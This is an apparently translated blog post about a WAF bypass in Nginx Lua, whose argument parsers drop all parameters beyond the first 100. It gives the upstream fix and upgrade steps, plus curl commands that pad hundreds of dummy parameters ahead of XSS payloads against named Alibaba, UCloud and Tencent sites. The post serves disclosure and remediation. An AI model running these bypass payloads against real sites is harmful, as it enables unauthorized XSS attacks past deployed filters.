|
|
Posted on 4/27/2018 9:23:29 AM
|
|
|
|

When ginx Lua obtains parameters, the first 100 parameter values are obtained by default, and the rest are discarded. Therefore, WAFs using Nginx Lua will be bypassed by default. On April 20, 18, someone on the security passenger had already disclosed this detail, so I also published this article 233.
Principle
The official description is as follows
Note that a maximum of 100 request arguments are parsed by default (including those with the same name) and that additional request arguments are silently discarded to guard against potential denial of service attacks. Up to 100 request parameters (including those with the same name) can be parsed by default, and additional request parameters are automatically dropped to prevent potential denial-of-service attacks.
Search 100, roughly the following method has the same problem. ngx.req.get_uri_args Get the request parameters for get ngx.req.get_post_args Get the request parameters for the post ngx.req.get_headers Get the request header ngx.decode_args Decode the URL of the parameters ngx.resp.get_headers Get the response header In the lua-nginx-module source code, we can see that the source code sets the default maximum request parameter and header to 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
However, the official provides a method to modify the default value, such as ngx.req.get_uri_args (200) to get the first 200 request parameters.
Test
If the request parameter is 101, the last request parameter cannot be obtained.
curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
If you reduce one request parameter, you can get the last request parameter when the request parameters are exactly 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 a: zbg I got u, zbg
Note that the default is indeed 100 request parameters, and the request parameters after 100 request parameters will be discarded.
There is a strange thing that in the return content above, in the middle of the rough position, the final zbg parameter is already output. My guess is that the output is not in order, but the order in which the parsing is does follow the order in which the parameters are submitted, because when the 101st parameter value is zbg, the value cannot be obtained.
Attached is the python script that generates the parameters:
# author: zbg # mail:zbg@zbg.org # date: 2018-04-03
a = '' for i in range(200): a = a + 'a{0}={1}&'.format(i+1, i+1) print a repair Of course, it is not recommended to modify the MAX value of the parameter in the source code. Because no matter how large the value you set, it can be bypassed. It is recommended to set it through the parameters of the method. If you can get the length of the request parameter and use a method like ngx.req.get_uri_args (lenth), wouldn't it be enough? Reading the documentation, I found that the number of requested parameters could not be obtained. However, if you set the lenth to 0, you can get all the requested parameters.
This argument can be set to zero to remove the limit and to process all request arguments received. local args = ngx.req.get_uri_args(0)
However, it is strongly discouraged to set it to 0 to prevent potential denial-of-service attacks.
Removing the max_args cap is strongly discouraged.
Actually, I was wondering why setting 0 would lead to a potential denial of service attack, and the request would go to nginx anyway, no matter how many parameters there were in get or post.
I raised an issue to the official, and the author said that ngx.req.get_uri_args (0) will increase the CPU and memory usage of the server. Later, I tested 200 parameters, and used Nginx+php to obtain the 200th parameter, which means that Nginx does not limit the number of requested parameters by default. Then the problem may lie in Nginx Lua itself,When Nginx Lua uses ngx.req.get_uri_args(0) to get all the parameters and iterates through them, once there are a lot of parameters requested, it consumes more CPU and memory, and eventually even leads to a denial of service。
On 04/03/2018, Bypass007 officially raised an ISSUE about this bug fix, and finally officially added a new feature based on this ISSUE on 2018-04-21. The commit record address of this function: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
The function description is as follows: In versions after v0.10.13 (including v0.10.13), when the limit number of requests is breached, the second return value is the truncated string. Since v0.10.13, when the limit is exceeded, it will return a second value which is the string "truncated". However, the optional max_args function argument can be used to override this limit: local args, err = ngx.req.get_uri_args(10) if err == "truncated" then -- one can choose to ignore or reject the current request here end
So, the final fix came out.
Upgrade lua-nginx-module to v0.10.13 or later
Then limit the total number of parameters, as for how much the total number is limited, I personally think 100 is enough
OpenResty upgrades the lua-nginx-module module
I didn't find any information about the OpenResty upgrade module, so I figured out how to upgrade the lua-nginx-module module by myself.
The steps are as follows:
Download the corresponding version of the lua-nginx-module module wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 unpack tar -zxvf v0.10.13 Delete the previous lua-nginx-module version rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Copy the new lua-nginx-module mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 For compilation, refer to the compilation parameters of VeryNginx
Case bypass
It should be clarified that the following WAFs I am not sure whether to use Nginx Lua, but they can be bypassed by the total number of parameters.
Ali WAF
This WAF is a WAF used internally by Alibaba, that is, the WAF used by domain names such as *.taobao.com, and has not been tested for the cloud WAF sold by Alibaba Cloud. First, request a POST XSS Payload to intercept it. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Through Fuzz, it was found that when the number of parameters is increased to 478, with XSS Payload, it is no longer intercepted, and the website can be accessed normally. curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
The WAF tested is a WAF sold by UCloud. When the request parameter is increased to 138, it will no longer be blocked and the website will be accessed normally. curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
This WAF is a WAF used by Tencent internally, that is, the WAF used by domain names such as *.qq.com, and has not been tested for the cloud WAF sold by Tencent Cloud. When the request parameter increases to 4000, it will no longer be blocked and the website will be accessed normally. Random tests of the following domains are affected. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
summary
This question is very simple, and you can find it by reading the document carefully. But why didn't I find out? I think it's still too little thinking. Reference
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Previous:Learn Photoshop from scratch, 18 lessons from novice to godNext:Strengths and weaknesses of Lua and Luajit
|